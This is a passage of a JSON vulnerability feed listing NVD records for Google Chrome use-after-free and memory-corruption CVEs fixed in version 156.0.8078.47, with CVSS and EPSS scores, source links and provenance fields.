Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113262","asOf":"2026-10-21T17:09:19.930Z"},"epss":{"probability":0.00425,"percentile":0.36537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113262","type":"primary","publishedAt":"2026-10-20T22:19:19.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113260","cveId":"CVE-2026-113260","aliases":[],"kind":"vulnerability","title":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.673Z","updatedAt":"2026-10-21T17:09:30.630Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113260","asOf":"2026-10-21T17:09:30.630Z"},"epss":{"probability":0.00425,"percentile":0.36532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113260&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113260","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113260","type":"primary","publishedAt":"2026-10-20T22:19:19.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113260&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113260, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113259","cveId":"CVE-2026-113259","aliases":[],"kind":"vulnerability","title":"Use after free in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.567Z","updatedAt":"2026-10-21T17:09:35.890Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113259","asOf":"2026-10-21T17:09:35.890Z"},"epss":{"probability":0.00388,"percentile":0.32589,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113259&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113259","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113259","type":"primary","publishedAt":"2026-10-20T22:19:19.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113259&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113259, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113258","cveId":"CVE-2026-113258","aliases":[],"kind":"vulnerability","title":"Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.453Z","updatedAt":"2026-10-21T17:09:41.910Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113258","asOf":"2026-10-21T17:09:41.910Z"},"epss":{"probability":0.00425,"percentile":0.36535,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113258&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113258","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113258","type":"primary","publishedAt":"2026-10-20T22:19:19.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113258&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113258, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113257","cveId":"CVE-2026-113257","aliases":[],"kind":"vulnerability","title":"Memory corruption in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.350Z","updatedAt":"2026-10-22T12:03:09.020Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113257","asOf":"2026-10-22T12:03:09.020Z"},"epss":{"probability":0.00425,"percentile":0.36535,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113257&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113257","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113257","type":"primary","publishedAt":"2026-10-20T22:19:19.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113257&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113257, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113256","cveId":"CVE-2026-113256","aliases":[],"kind":"vulnerability","title":"Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.240Z","updatedAt":"2026-10-22T12:03:25.610Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113256","asOf":"2026-10-22T12:03:25.610Z"},"epss":{"probability":0.00425,"percentile":0.36535,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113256&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113256","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113256","type":"primary","publishedAt":"2026-10-20T22:19:19.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113256&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113256, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113255","cveId":"CVE-2026-113255","aliases":[],"kind":"vulnerability","title":"Use after free in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.130Z","updatedAt":"2026-10-22T12:03:40.653Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113255","asOf":"2026-10-22T12:03:40.653Z"},"epss":{"probability":0.0039,"percentile":0.32843,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113255&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113255","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113255","type":"primary","publishedAt":"2026-10-20T22:19:19.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113255&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113255, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113254","cveId":"CVE-2026-113254","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.023Z","updatedAt":"2026-10-22T12:03:56.303Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113254","asOf":"2026-10-22T12:03:56.303Z"},"epss":{"probability":0.00434,"percentile":0.37448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113254&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113254","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113254","type":"primary","publishedAt":"2026-10-20T22:19:19.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113254&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113254, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113253","cveId":"CVE-2026-113253","aliases":[],"kind":"vulnerability","title":"Use after free in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:18.917Z","updatedAt":"2026-10-22T12:04:09.927Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113253","asOf":"2026-10-22T12:04:09.927Z"},"epss":{"probability":0.00388,"percentile":0.32589,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113253","type":"primary","publishedAt":"2026-10-20T22:19:18.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113251","cveId":"CVE-2026-113251","aliases":[],"kind":"vulnerability","title":"Use after free in PDF in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in PDF in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in PDF in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:18.690Z","updatedAt":"2026-10-22T12:06:52.703Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113251","asOf":"2026-10-22T12:06:52.703Z"},"epss":{"probability":0.00404,"percentile":0.34342,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113251","type":"primary","publishedAt":"2026-10-20T22:19:18.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113250","cveId":"CVE-2026-113250","aliases":[],"kind":"vulnerability","title":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:18.580Z","updatedAt":"2026-10-22T12:07:51.957Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113250","asOf":"2026-10-22T12:07:51.957Z"},"epss":{"probability":0.00427,"percentile":0.3665,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113250","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113250","type":"primary","publishedAt":"2026-10-20T22:19:18.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113250, scored 2026-10-25. This is a model estimate, not proof of 